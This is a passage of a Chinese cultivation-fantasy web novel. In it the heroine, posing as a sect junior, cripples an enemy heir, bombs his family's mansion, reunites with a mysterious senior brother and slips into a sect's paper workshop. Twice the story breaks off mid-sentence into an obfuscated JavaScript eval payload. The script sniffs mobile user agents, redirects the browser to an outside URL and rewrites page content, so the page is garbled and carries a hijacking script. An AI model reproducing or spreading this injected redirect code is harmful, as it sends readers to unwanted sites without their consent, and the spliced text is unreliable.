因为她临走之前,多扫了一眼。 然后发现,姜崇安虽然已经通灵见祟,但只开了半条水灵脉,这种破烂资质,送去仙宫当外门的扫地门童还差不多,绝对不可能成为长老的弟子。 塞再多钱,给再多好处,那玄峰长老再被这相思贴控制了神魂都不可能。 因为这是所有仙宫的宫规。 就算是宗主,都无法把他领入内门。 如果不是有过切肤之痛,若非姜家实在前科累累,虞花暖都没办法一下子想到姜家要做什么。 你们姜家还真是剜灵脉剜上瘾啦? 这次又准备剜谁啊? 她看着姜崇安,难掩眼中的恶心:“做的孽总要还的,姜家的孽,就先从你开始吧。” 半条水灵脉,剜出来,也不过眨眼,姜崇安甚至来不及爆出一声惨叫,就又被一掌按了回去,重新陷入了有些不安的美梦之中。 虞花暖随手捏碎了,洒在了姜崇安身上,顺带把他的三清之气也散了,彻底断绝了他的修行之路。 这才施施然离去。 她就是心善。 做人做事,最忌留一线。要剜,就应该剜得干干净净,不留余地,斩尽杀绝。否则,万一姜家和姜崇安还怀有希望,一天天老想着搞点丹药,修复灵脉卷土重来,可如何是好。 可惜时间还是有点紧张,叶云行那边也拖不了太久,不然她高低要再整点动静,把那个可能要被剜掉灵脉的倒霉鬼也找出来。 但这并不妨碍她现学现卖,翻着《太上请神诀》,在原路翻墙而出的路上,用整个姜府练了练手,多请了几道神。 “六尘敕令,万神临降。我请灵图,快快显灵——这个小楼盖得不错,过两刻钟炸。” “六尘敕令,万神临降。我请神符,降下一符——这里,这里,那里,那里,炸,都炸。贴好了以后等我口令。” 等她走远了,就把阵引爆,那个倒霉鬼既然也有灵脉,也算是个仙师,到时候能不能趁乱跑了,就看他自己的本事了。 但若是请神失败,最后没炸,也别怪她才疏学浅,要怪就怪归云仙宫的请神诀不靠谱。 她一边翻书比划,一边前行。临近前院,便听得墙外闹闹攘攘,有人大喊:“我们一刻钟前就已经报官了!我倒要看你小子还能得意多久!” 话音才落,又有人高声:“让一让,都让一让,看热闹的都让一让!官府的人来了!” 很好,动静闹得挺大,人声鼎沸,看热闹的人也不少。 虞花暖丝滑上墙,准备趁乱遛下。 却听又一道声音如平地惊雷。 “平妖监办案,闲杂人等一律回避——” 虞花暖浑身一滞,直觉不对。 “平妖监”三个字激起了她的某些回忆和不太对劲的预感,然而不及她做出任何应对,两道声音同时响起,沉甸甸砸向骑在墙头的她。 一道饱含热切,高昂清澈。 一道慢慢悠悠,戏谑兴味。 “师嫂你可来了!!我都闹了这半天了,咱们可以撤了吧!” “好巧,好巧,师妹竟也在这里。” 虞花暖:“……啊?!” 震惊。 不是,他们都在叫谁,她怎么一个都听不懂? 偏偏叶云行那小子竟还盯着那松绿官袍的貌美少年看了会儿,又补了一句。 “师嫂,这就是你从河里捞上来的师兄吗?” 虞花暖:“……” 先不管叶云行嘴巴里在叫她什么乱七八糟的。 所谓冤家路窄,现在硬着头皮抓着叶云行直接走,靠他身上那些法宝和她手里剩下的七个漂流瓶一本请神诀,能赢吗? 9.第 9 章 赢不了一点。 得益于叶云行在那一声“师妹”后,洋溢起了自己人的微笑,自动站在了绿衣少年身后,还冲她招了招手示意她快来的举动。 更因为虞花暖远远看到一只信鸽翩然落下,顷刻后,姜府后院传来了一声怒吼,辨音去听,大约是“阿妹”一类的字眼。 显然是虞花暖一个字轰了姜慕儿身子、还拿着宗主剑印的事情被传来了。 紧接着又是一声尖叫。 不用想,铁定是姜崇安的情况被人发现了。 此时不走,更待何时。 虞花暖麻溜滑下墙头,眼神清澈地站在了叶云行旁边,脸上还露出了一个乖巧的笑容。 师兄好,师兄妙,披着官皮的师兄呱呱叫。 这会儿就算这个漂亮皮囊少年真是个画皮的合欢,她也会亲热地挽上去,叫一声师兄。 …… 直到此时此刻,虞花暖眼睁睁看着平妖监厚重的大门沉沉关闭,两边的符阵亮起幽暗的光,彻底将这里封死。 这一路上,她也不是没想过扔下叶云行直接跑,但每次她刚刚动腿,那边就会扫来颇为戏谑又极冷的一眼,以及叶云行高昂的一声:“你要去哪?带上我!” 不是,叶云行你到底有没有点宝梵仙宫弟子的自觉啊?! 三个回合下来,虞花暖摆烂了。 算了,遇事也不能光想着跑,正好看看平妖监到底是个什么地方。 铃灯旋转,一缕紫雾如丝带溢出,像是将虞花暖和叶云行面前的迷雾都拨散开来,让整个平妖监内的模样都在两人面前变得清晰。 和想象中的铜墙铁壁,阴森可怖不一样。只要忽略墙壁屋顶爬满的符箓咒阵,屋檐垂落的锁妖长索,随处摆放的缚妖纸和收妖袋,脚下隐约起伏的妖气,来往仙师匆匆的步履和时不时飘散的血气,此处看起来也只是再普通不过的一隅官府。 松绿官服的漂亮少年撩袍往那儿一坐,扬了扬下巴,示意两人落座。 虞花暖打量完平妖监,又在打量对面的人。 只是她将将落座,眼神才刚刚委婉地绕上去,便听卫鹤眠语气莫测地开了口:“先来说说,师嫂是什么意思?” “师嫂”两个字,念得格外重了点。 虞花暖差点从座位上滑下去。 是了,她也要问叶云行来着。 只是面前这少年狭路相逢,来意不明,敌友难辨,她一路都暗暗提防,杀心起了又落,一时之间险些忘了这一茬。 但他怎么开口第一句,问的竟是这个,还是用的这种口气? 她都做好要用话术胡乱编造一个她和叶云行与姜家不得不提的两三事了,结果到头来,他最关心的,怎么是这个称呼? 无他,这口气虞花暖实在有点熟悉。 过去她是宝梵仙宫大师姐时,那群师弟师妹不省心闯了祸遭她诘问时,她也是这个语气,这个眼神,这个神态。 糟了,这人不会真是她师兄吧? 虞花暖始料未及,冷汗乱冒,手却已经非常自然地给了叶云行的胳膊一巴掌:“我师兄问你话呢,你方才嘴里都在胡说八道些什么?” 叶云行冷不丁挨了一下,表情十分茫然:“你和我裴师兄难道不是那种关系吗?你都直呼他名字了,直呼名字难道不是道侣之间才会做的事情吗?” 虞花暖目瞪口呆。 她一时之间竟不知应该为这称呼与面前之人无关而松一口气,还是再吊起一口气。 不是,怎么还和裴云阙扯上关系了? 而且睡过一张床都不一定是道侣,喊个名字怎么就成那种关系了! 她刚要说点什么,却听对面那人倏而唤道:“阿觅。” 虞花暖所有动作都一停。 阿觅。 上一次有人这样叫她,还是…… 少年的音色在前日带了鬼气的夜里尚且悦耳如晚风,此刻含了几分笑和上扬的尾音,在这样有些混沌的嘈杂之中落入她耳中时,就像是穿过了她前世到如今的百年时光,如锚点般将她轻巧勾住,拉她浸入清泉,看月色依然如百年前的碎银摇曳。 那道声音停了一瞬,似是没有注意到她的异常,继续道:“师兄不过几日不在,你就忘了拂尘山的门规吗?” 她蓦地回过神来,下意识抬眸看他。 没有那一夜的妖瘴气,没有夜色如雾,她与他之间的距离不过一张木制茶案,于是抬眼的瞬息,那双狭长漂亮的眼瞳和上面猩红的小痣就一并掉在了她的眼中。 “师兄。”她张了张嘴,有些生涩地吐出两个字来:“我……” 对方微微向前倾身,一手支着下巴,露出一截苍白漂亮的腕骨,松绿官袍的袖子如水般淌落下去,说得轻松愉悦:“入我拂尘者,六亲绝断,举目无亲。阿觅若是心软不能下手,师兄别无所长,唯独擅长杀人,也可以帮你杀。” 虞花暖:“……” 这不是她为了唬住姜家人时胡编的吗,竟这么快就已经分毫不差地传入了这人耳中吗! 而且她也看了半天了,竟是完全没看出这人的境界高低。 事到如今,虞花暖对于面前这人便是自己师兄的事情,已经信了一大半。 好消息,不用去河里捞师兄了,师兄他自己爬出来了。 坏消息,她一个冒名的卧底,不仅没认出师兄,还一照面就当头给师兄吃了一记无敌炸炸。 嘻。 她不会这么快就搞砸了吧。 “不过,听闻阿觅之前伤到了头,倘若忘记了些什么,也是正常的。”卫鹤眠一瞬不瞬看着她,眼中浸出些混了细碎杀气的笑:“比如,师兄长什么样,又比如,师兄的名字。否则怎么会用五师妹给你的东西,来杀师兄呢?” 虞花暖:“……” 这人好强的压迫感。 果然还是逃不过这场兴师问罪。 他明明只是坐在那里,情绪淡淡语气也淡淡地说着这番话,她的后颈却渗出了薄薄一层冷汗,大脑甚至空白一片,只知道有点愣神地盯着对方那张漂亮得不像话的脸。 死脑子,快想啊,裴云阙应该提过二师兄名字的! 反而是叶云行对此刻的情形恍若未觉,在旁边火上浇油道:“嗯?你失忆了?失忆了还记得我的名字,我好感动!” 虞花暖想一巴掌拍死叶云行。 气氛逐渐粘稠,盯在虞花暖脸上那道目光也冷得有如实质,像是要将她这层皮囊掀开,看看里面的内容。 倘若坐在这里的是原主虞觅,恐怕绝难撑得住。 可虞花暖在最初的心神摇曳后,已经回过神来。 师兄这两个字叫起来,一回生,二回熟。 这辈子都只当过师姐的虞花暖轻轻叹了口气:“叶云行,你有病吧。裴公子对我有救命之恩,除此之外一清二白,你却差点害得我恩将仇报。万一我师兄把你的胡说八道当真了,你裴师兄可就死无葬身之地了哦。” 她说得轻轻巧巧,温温柔柔,已经全然进入状态:“师兄,我头上的疤还没痊愈呢,忘了点事罢了,总比丢了性命强。那次若非裴云阙救我,五师妹恐怕就可以如愿以偿,变成四师妹啦。” 面前的紫衣少女巧舌如簧,说得话带着七分浮于表面的真和三分假,吹嘘了他几分,末了还不忘坑白向晚一把,一双笑眼里的清澈真诚下面全是无所畏惧和虚情假意,可听到那声“阿觅”后的怔忡,却做不得假。 虚伪,敷衍,入戏且真诚。 表里不一,有点意思。 他这个三师妹,过去是这样的吗? 还有,裴云阙又是谁? 记忆像是一层细密的绸雾,似乎有过几隅安静的侧影,没什么存在感,也没什么能让他想起来的。 卫鹤眠神色莫测地盯着虞花暖,正要再说什么,却有人到了近前。 是平妖监的同僚,身份低一级的监卒。 “监司,姜府那边又来人了,说是……”那监卒边说,边不动声色地用目光在虞花暖和叶云行身上绕了一圈,压低声音:“说是姜家嫡子的灵脉碎了,脸也毁了,姜府也被炸了不止一处,方才那人哭着来的时候,姜府还传来了不少动静。他们怀疑与这两位有关系,喊着要我们交人呢。” 虞花暖听了个十全十。 一身法宝的叶云行也听了个十全十。 叶云行用肘子捣了一下她,小声道:“不是,刚刚那么一小会儿,你就闹出来了这么大动静?也太行了吧!” 虞花暖正襟危坐,嘴唇翕动:“不过一个凡体之人的府邸,你上你也行。” “我上是行,炸炸小宅子谁不会,但我不可能剜人灵脉啊。”叶云行寻思一番:“怎么,有仇?” 虞花暖不说话,施施然看他一眼。 叶云行吃不到瓜,抓耳挠腮,立刻低头认错:“刚才叫你师嫂是我误会一场,出言冒犯,我保证以后不胡说了!” 虞花暖道:“赔罪哪有只动嘴皮子的,没诚意。” 这题叶云行会。 地主家的傻儿子别的没有,全身上下宝贝最多。 叶云行挺挺胸,大鹏展翅,嘴甜又大方:“虞姐姐,都是自己人,你看上什么就拿什么!” 最喜欢这种一点就上道的人,虞花暖满意地拍了拍他的肩膀:“现在不急,先欠着。回头还要干几票大的,到时候我再问你要。” 叶云行眼睛一亮,全身上下都透出了一股跃跃欲试。 那边卫鹤眠听监卒说完,笑了一声:“若是不交人呢?” 监卒道:“他们说若是不交人,就请归云仙宫做主,还说什么他们有人在宝梵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124481|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙宫,乃是暮山山主的亲传……” 叶云行缓缓转过头,站起来了。 “谁亲传?!”他紧紧盯着监卒。 监卒颤颤说出剩下几个字:“叫、叫虞满。” 叶云行发出了一声尖锐急促的冷笑,挤出了一声清晰的骂。 虞花暖掀起眼皮,少顷,也笑了。 瞧,这就是吸引力法则。 这世间该死的人啊,总会自己送上门来。 只有卫鹤眠“哦”了一声:“不认识,没听过。上次有人来找平妖监要人的时候,我是怎么说的?” 监卒腰杆都直了点,飞快重复一遍:“这世上进了我平妖监的人,想带出去,让他自己来拆平妖监的门,砸平妖监的墙,成功了,人也就出去了。” 卫鹤眠点点头。 监卒悟了,大摇大摆去回话了。 叶云行深吸一口气,从咬紧的牙缝里挤了几个非常不干净的字,被虞花暖一把拉住,重新坐了下来,又硬生生咽了回去。 虞花暖乖巧看向对面:“师兄,事已至此,那姜家还继续炸吗?” 这是不用问,不藏不掖,自己就认下来了。 姜家的事儿,桩桩件件,全是她做的,甚至还能做更多。 卫鹤眠愈发觉得有趣:“我若说不,你就不炸了?” “都听师兄的。”虞花暖乖顺点头:“出门在外,师兄最大。” 卫鹤眠看她片刻,不像是信了的样子,只道:“姜家的确打算剜一条灵脉换给他家的废物,用来拜入归云仙宫。好巧不巧,归云仙宫和我们拂尘山,也有些过节。这两件事之间本来没什么关系,可被姜家抓去打算剜了灵脉的,是你我的师弟谢执襄。” 虞花暖沉默了。 那个倒霉蛋,竟是她师弟。 很难形容这拂尘山里到底都是些什么人。 剜了师姐剜师弟,师兄要靠师姐捞,师弟要靠师兄救,总不能是草包师兄草包师姐和草包师弟卧虎藏龙一家亲……等等,打住,她自己也是其中的一环。 “师弟他……”虞花暖想了想,努力措辞:“容易死吗?” 卫鹤眠竟然没觉得这个问题突兀,也跟着她想了想:“还可以?” “那就好。”虞花暖拊掌赞叹,笑容无辜:“我刚刚没控制好,姜府又炸了。师弟不那么容易死的话,现在可能已经逃了出来,再过两炷香时间,也就回来了。” 饶是叶云行还沉浸在听到了“虞满”两个字的冲击里,此刻也被这番对话搞得目瞪口呆。 不是,你们拂尘山师门平时就是这么相处的吗? 不说要多么正常,起码不能邪门吧? “当然,波及师弟,是我不对。可这一笔笔的账,也不能说算了就算了。好好儿的灵脉,说剜就剜,我们拂尘山是什么很好欺负的地方吗?”隐约传来的地动山摇中,虞花暖摊开手心,露出了她从姜崇安身上扒下来的的那块归云仙宫的腰牌:“新仇旧怨,不如趁此机会,一笔了结。” 卫鹤眠看着虞花暖眼底的光影幽幽,诸般胡说八道和虚情假意交汇,终于在此刻才浮凸出了一点杀气腾腾的真。 原来铺垫了这么久,只为了最后这句话。 他一瞬不瞬地盯着她,似笑非笑,微微歪头,语气愈发温柔兴味:“师妹想如何了结?” 虞花暖用指尖在那块腰牌上划下最后一笔,转手挂在了叶云行腰间,再取出了早就剥好的面皮一张:“他来当姜崇安,我假扮侍女,进入归云仙宫后,兵分两路,各自行动。” 她说得简单粗暴,语焉不详,偌大一个仙宫,却被她说得好似走一趟自家后花园般信步闲庭,手到擒来。 叶云行盯着那张人面的目光逐渐呆滞,卫鹤眠却好似并没有觉得哪里不妥,只问了一句:“可需要师兄帮忙做什么?” 虞花暖抬起手,比了个补刀的动作,歪头一笑:“到时候从里面逃出来的坏种们,有一个是一个,就要拜托师兄全杀啦。” 绿衣少年蓦地笑了起来。 他的官服本就穿得松松散散没个正形,这样笑的时候,领口滑落下来,半束半披的长发也跟着抖动起来。他就这样笑着站起身来,拢了拢衣袍,转了转脖子,活动了一下筋骨,竟是就这样应了下来。 “行。” 与她擦身而过的时候,少年的一缕乌发从她的肩头蜿蜒扫过,伴着一抹极淡的松与雪的气息,略微触碰到她的下颚脸侧,又随着对方停顿俯身的动作游移开来。 “卫鹤眠。”他垂眸看向她倏而抬起的眼,纤长的睫毛在眼窝投下一片阴影,将他琥珀色的眼珠染成纯然的黑,短短几个字被他咬得散漫随意,又莫名的杀气缭绕。 然后,他略勾了勾唇,扔了个东西给她,俯身在她耳边轻声道:“阿觅,我叫卫鹤眠,别再忘了。” 10.第 10 章 叶云行跟在虞花暖身后,托着人皮面具的十根手指头都在仓惶无助地乱抖:“不是,我真要把这么个玩意儿挂在我这张英俊漂亮可爱白嫩的脸上?” 虞花暖刚把自己的长发挽起来,规规矩矩做了个侍女发髻:“你若不想,换成是虞满来呢?” 叶云行手不抖了。 嘴开始抖。 气的。 “五脉全开了不起吗?”从方才憋到现在的叶云行深吸一口气,面色奇差:“半年就修了一条大圆满了不起吗?!他虞满来之前,小爷我和裴师兄都称霸暮山多少年了?以我和裴师兄的资质,假以时日,随随便便就能冲击个七境八境,怎么也算不辱门楣了吧?可我娘倒好,先是赶走我裴师兄,又带回来了个虞满。虞满他算个什么东西,能比得上我裴师兄半根脚趾头吗!” 虞花暖挽好了发,开始捏自己的脸,还不忘应一句:“虞满怎么了?” “小爷我知道自己锦衣玉食,是在暮山的金银堆里面长大了,是不接地气了点儿,那又怎么样?我吃别人一颗大米了,还是用别人一块灵石了?他凭什么看不起我?凭什么说话酸我?私下里和人说我一个三灵脉停了一百多年都不能大圆满,怎么有脸继续在暮山横行霸道,我听到了要打他丫的,结果还被那个狗货倒打一耙!” 叶云行胸膛起伏,语速也越来越快:“我请问呢?他虞满刚来的时候,我看他这也不会那也不懂,还是翻了我以前的启蒙书和法器给他用,结果他转身就和别人说我看不起他,只给他用我的二手货!小爷我的二手货都是什么成色,他虞满又是什么成色?三言两语竟然惹得我娘都信了他的鬼话,把我扔……” 说到这里,他紧急刹车,回头看虞花暖,才开口又滞住:“虞姐姐,你说说——不是,你谁?” 虞花暖之前那张脸,美得张扬又肆意,见之难忘,哪怕站在人堆里面,也绝对是第一个被看见的。但此时此刻,他面前这人的五官平平,鼻宽唇厚,眉粗眼笑,完全是一张非常标准讨喜的侍女脸。 标准到叶云行这种挑剔至极从小到大换了几百个侍女的仙二代都挑不出错。 虞花暖皮笑肉不笑地看着他:“该你了。” 叶云行叹了口气。 片刻后,顶着姜崇安面皮的叶云行就位了。 虞花暖上下打量一番,帮他把腰牌带好:“方才让你回忆的那些事,别忘了。” 叶云行没懂:“什么事?” “虞满啊。”虞花暖道:“虞满什么样,你刚进归云仙宫就什么样。你照着样子,一比一学着来,保证不会被拆穿。” 叶云行:“……??” 叶云行嘴都要气歪了:“让我学他?!小爷我今天就算跟着狗去吃屎,也不会学他丫的!” “乖,不要乱发脾气。”虞花暖拍拍他的手:“做得好,来日我帮你杀虞满。” 叶云行:“……” 叶云行震撼,沉默,欲言又止。 但看着顶着一张平平无奇脸依然自信到发光的少女,叶云行又把到嘴边的话咽了回去,甚至从对虞满的愤怒,变成了对虞觅的忧心忡忡。 醒醒吧姐,那可是他娘叶青玄的亲传! 叶青玄是谁,是宝梵仙宫暮山山主,八境【熔炉】道宗师,全天下脾气最差最护短的女人,杀她的亲传?! 到时候他也护不住她啊! 但他转念又发现了什么:“虞姐姐,你和虞满什么关系?姜崇安和虞满又是什么关系?” 虞花暖露出了一个非常友好的微笑:“别急,等我把他们都杀了,就告诉你。” 叶云行闭嘴了。 并在脑中飞快补充了一系列自己看过的话本子上的爱恨情仇,再看向虞花暖的目光,已经带了许多包容。 经历过这么多,疯一点,杀心重一点,也正常。 他叶云行装一下虞满,又能怎么样? 不就是狗会吃屎吗? 有道是,最恨你的人,往往是最了解你的人。 叶云行一入戏,就知道有没有。 活脱脱的虞满本满,姜崇安本安。这俩人同出一脉,性子当然宛如一个模子里扣出来的。更何况,姜崇安做梦都想成为虞满,本就悄悄模仿他诸多。 而叶云行最看不惯虞满那个样子,越看不惯,看得就越多,演起来自然入木三分。 直到被虞花暖卸了满身大半法宝,压了自己的境界到刚刚通灵见祟,就这么靠着腰牌毫无破绽地进了归云仙宫的大门,就要跟着引路童子一路去见那玄峰长老时,叶云行突然觉得哪里不对。 “虞姐姐,你会捏脸易容术,为什么还要让我挂张人皮?”叶云行从牙缝里面挤出来一句话。 虞花暖:“吃得苦中苦,方为人上人。一会儿见到长老放机灵点儿,把虞满在暮山那套人见人爱的本事都拿出来。” 听到“人见人爱”这四个字,叶云行受刺激更深了,哪里还管自己挂没挂人皮,深吸一口气,袖子一挥就走了。 而虞花暖面带微笑地看着他步入上仙宫的路,顺势把从叶云行身上扒下来的法宝盘了一遍。 觊觎了这么久,终于拿到手了。 什么故人之后,什么交情。 交情不就是拿来用的吗? 你小时候我还抱过你呢,如今你的东西拿来给姨姨……不,姐姐用用,有什么问题吗? 没有。 虞花暖几乎一瞬间就放下了道德。 她与叶云行分道扬镳的地方,便是所谓仙凡的分界线。凡体之人对仙宫怀有极深的敬畏之心,寻常人等早就被仙家威压吓得瑟瑟抖抖,一刻都不敢多留。 又有谁能想到,会有人如虞花暖这般,信步闲庭,不慌不忙,顺着另外一条路而去。 那甚至不是叶云行走的那条路。 众所周知,每个仙宫,最容易被搅成一锅粥的地方,从来都不是内门,也不是外门。 而是无人在意的杂役处。 …… 只是走着走着,好像有什么东西在蛄蛹她的袖子。 从内而外。 虞花暖几乎要以为自己中招了,然后才突然想起,从平妖监出来的时候,卫鹤眠给她扔了个什么东西。 她没来得及仔细看,顺手塞进了袖子里。 虞花暖抖了抖,便见一只乌漆嘛黑的老鸦飞了出来,落在了她的手上。 老鸦脖子上挂了一串五彩纷呈的圆润珠子,身上还披了一扇金线钩织的袈裟,满身都灿烂夺目,眼神却慈祥极了,张口就是一句:“阿弥陀佛。” 虞花暖沉默一瞬。 甩手,转头,加速脚步。 一气呵成。 什么邪门玩意儿。 老鸦猝不及防被甩飞,整个鸟都僵住了,顿了一下才急急展翅,重新飞了上去:“师妹!师妹等等我!是我啊!我是卫鹤眠的命兽,是我啊!我鱼三海!” 虞花暖脚步微顿:“命兽?卫鹤眠……师兄他命印的是【天命】?” 不是画了皮、用脸来证道的合欢? “你连这个都忘了?真是伤的不清。”鱼三海又气喘吁吁地扑闪了几下翅膀,不是非常娴熟地飞了上来,落在虞花暖手腕,才舒出一口气:“难怪不认得我了。” 虞花暖却用一种很奇特的眼神盯着鱼三海,目光从五光十色的珠子,滑到金粉袈裟,眉梢都忍不住挑起了一些:“我和师兄,过去很熟吗?” 鱼三海的目光和翅膀一起扑闪:“都师兄师妹了,哪有不熟的。包熟的。” 熟个屁。 若是真的熟,原主虞觅在拂尘山也有大半年了,怎会连这位二师兄的样貌名字都毫不知晓,音讯也全无,明明知晓她伤了头,却毫无半句问候。甚至完全不在意她周围多了什么人,都在与何人结交。 这是一个师兄该有的样子吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132126|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >更何况,命兽看人,看到的并非皮相,而是气。 鱼三海都盯着她看了这么久,却完全没有提一句她把自己的脸全然捏成了别的样子的事情,就是因为她虽然容貌变了,但在气是不会变的。 但凡这命兽见过之前的的那位名叫余觅的三师姐,就不可能记不住她的气。 命兽绝不会认错人。 所以只有一个解释,无论是过去的拂尘山三师姐余觅,还是后来替而代之的虞觅,卫鹤眠和她们都完全不熟。 可…… 可若是全然不熟,不管不问,又何至于这样随手将自己的命兽留给她。 【天命】一道,窥天机,算造化,见天地。 卜凶吉探兴衰这种事儿,动辄牵扯因果,透支气运。因而凡是入【天命】道者,都会化一只命兽出来,将自己最本源的一缕三清之气和神魂存入其中。如此哪怕肉身消陨,只要命兽还在,便能重铸躯壳,从头来过。 换句话说,命兽对于天命来说,乃是比本命法器还要更重要的存在,压根不可能离身。 就这么给她了? 不怕她手撕老鸦? 况且,想到卫鹤眠那张完美到极难挑出瑕疵的脸,再看看这只老乌鸦,总觉得十分违和。 虞花暖盯着鱼三海看了片刻,蓦地一伸手。 鱼三海猝不及防,被她用两根手指捏住翅膀,提溜了起来。 “师兄让你来干什么?”虞花暖问。 “还能干什么,当然是保护师妹!师兄保护师妹,天经地义,义不容辞!人不到,命兽到,就等于人到了!”鱼三海瞪大眼睛,这个前所未有的姿势让他很有些紧张,但嘴里却说得振振有词:“阿觅师妹,有话好好说,俗话说兔子急了跳墙,命兽急了……也、也是会咬人的!” 虞花暖才不管它咬不咬人,三两下将它身上的宝珠摘了,袈裟脱了,返璞归真,变成了一只和此刻树上乱叫的那只乌鸦毫无区别的黑鸟。 鱼三海惊恐极了,正要抗议,虞花暖却比了一个“嘘”的手势。 “跟了我,现在你就是我的鸟了,要听话。”虞花暖拍了拍它的脑袋,给鱼三海换了个姿势,绕着它的脑袋,挠了一圈它的后颈毛:“我们现在深入敌后,就要低调行事,你穿金戴银的,也太高调啦,我先帮你收着。你呢,现在就飞去那边,帮我探探路,把你的视界传给我,好吗?” 鱼三海万万没想到自己换了个拟态,居然还被两下摸得头毛乱飞,飘飘欲仙,短短几息,就从惊恐变成了迷迷糊糊,它用爪子在虞花暖掌心烙了个印,振翅就飞。 飞到一半,鱼三海又想到了什么,一扭头,颇为贼兮兮地开口:“话说回来,你以为卫鹤眠命印什么?” 虞花暖理所当然:“那么漂亮一张脸,不当合欢可惜了。” 鱼三海和虞花暖相视一笑。 找到了志同道合之人的鱼三海飘飘然打工去了。 而虞花暖看着鱼三海飞离开来的背影,脸上的表情却尽数消失了。 拂尘山的情况比她想的要棘手。 难怪当初她刚醒来的时候,裴云阙要专门提一句,让她醒了就快起来,别让她师兄回来发现什么端倪。 倘若卫鹤眠真是合欢,她有一百种办法敷衍糊弄过去。 可他居然是天命。 一个前宝梵仙宫暮山山主的大弟子都颇为忌惮的天命。 唉,怕什么来什么,只能希望这位师兄对她的关注少一点,好奇少一点,不要没事干非要看她的因果命线。 否则万一看到什么不该看的…… 只能请他自求多福,后果自负了。 虞花暖如是想着,把玩着从鱼三海脖子上卸下来的宝珠,眼前微微一动,已经传来了命兽的视界。 她看着无数跃动的气,飞快找到了其中牛马味道最浓的那一片。 有道是,哪里有压迫,哪里就应该有—— 11.第 11 章 “那个新来的,就是你。过来。”一道平直没有起伏的声音响起:“打浆这里还缺一个人,这些都是你的活儿。上面给我们这五天的任务是八万张檀宣纸,要是做不出来,咱们都得死。” 屋子里除了赶工的声音,几乎安静一片,所有人都佝偻着腰背,埋头忙着手头的活儿,偶尔有几声压得极低的咳嗽响起,又被死死咽了下去。 虞花暖沉默地拿起木杵,砸了下去。 她身形纤细,手腕也又细又白,一看就没做过粗活也没什么力气。把头让她打浆,本是有意为难,没想到她一杵杵砸得这么稳定,手又稳又快,几乎抡出残影,额头却甚至没怎么出汗。 陈把头看了会儿:“练过?” 虞花暖露出了一个恰到好处的紧张又谄媚的笑:“小时候家里穷,劈柴比较多,所以力气大些。” 陈把头“嗯”了声,语气淡淡:“小心着点,这可不是你家后院的破柴火!这可是紫金檀皮,制出来的檀宣都是要用来供奉在神案面前的,若是捣坏一锅,你全家的命都赔进去也赔不起。” 虞花暖连连称是,抬臂落杵,看着杵下面的檀皮变成漂亮的絮状,送去淘浆那边,再换下一锅。 小意思。 怪像挥剑下劈的,这动作对她来说都不是肌肉记忆了,而是神魂记忆。 魂在剑在。 不过区区一天几万次出剑。 正好锤炼一下原主这弱不禁风的身子。 无人注意到,她的木杵每次与檀皮接触的时候,都会有极细微的一点光泽闪过。 极浅淡的,宝蓝色的,细碎的光。 那是被她碾碎了的白向晚的漂流瓶的粉屑。 细碎的粉屑顺着木杵流淌,在送去捣浆处的时候,在活水潭里放一点,回来路过抄纸池的时候,再洒一点。 【请谒】一道,咏颂天地万物以借力。 所谓咏颂,所谓赞美,所谓……拍马屁,当然不能仅限于口头,而要落在实处,落在真切处。 万神庙是要建的,祭神的贡品是要摆的,最重要的是,讴颂的那些字字句句,当然也要一笔一笔写下来,连同自己的姓名一起表奏上陈,用血灵火烧给众神,以求万神庇佑。 这也是一门生意。 请谒可颂万神,请万神。 十二众术千变万化,天下仙师如繁星闪烁,虽然都说修行这事儿看资质看努力看气运,但谁不想能被自己这一道的灵神多看一眼,多垂怜一分力量? 万一呢。 万一马屁拍到位了,灵神真的垂眸了呢? 而请谒便是这世间唯一能真正能够沟通众神的存在。 所以不少仙师都会找请谒为自己向自己那一道的灵神上表咏颂。 有道是,与请谒战场相见,必要怒骂一声马屁精。 下了战场嘛……谁背地里还没在请谒那儿下过单?谁还没私下交流过哪家请谒的咏颂奏表最灵? 既是一门生意,这其中的门道可就多了。 写多少字,用什么纸,咏颂的内容是自己想还是代写,咏颂的频率,时长,主咏颂的那位请谒境界如何,奏表在哪里烧,用多大的血灵火,是单独一簇火,还是和其他人的一起烧…… 如此种种,各有讲究,各有价位。 作为六尘大陆最大的请谒聚集地,归云仙宫的咏颂奏表,自然是最灵,最贵,也是最权威的。 虞花暖此刻所在的这一处,便是归云仙宫最为出名的紫金檀宣纸的檀宣作坊。 根据归云仙宫的镇元仙君和天清老祖这两位七境请谒亲口所说,众神最爱,血灵火烧得最旺,最能上达天听的,便是以这要价极为高昂的紫金檀宣所书写的奏表。 高昂的售价背后,是无数凡体之人,和挣扎在通灵见祟不能更进一步的小仙师们日以继夜毫无停歇被压榨极狠的劳作。 仙师们指头缝里漏出来的一点点好处,都足够一个小作坊的所有人衣食无忧一辈子,怎么都比在凡世间要强。且不论在仙宫这样三清之气更浓的地方劳作是否能让自己鱼跃龙门成为真正的仙师,能在仙宫做事,十里八乡说出去,都是多么至高无上的荣耀。 因此被压榨得再狠,再难撑下去,几乎每天都看到有累到昏死的工友被拖走,也没人真的敢说半句什么。 太多的人在他们的身后觊觎他们的位置,他们若是不想干,他们的身后有的是等着替代他们位置的人。 而人命……他们的命,从来都是最不值钱的。 虞花暖沉默无声地锤完一桶,又一桶,就这样任劳任怨地锤了一整天。 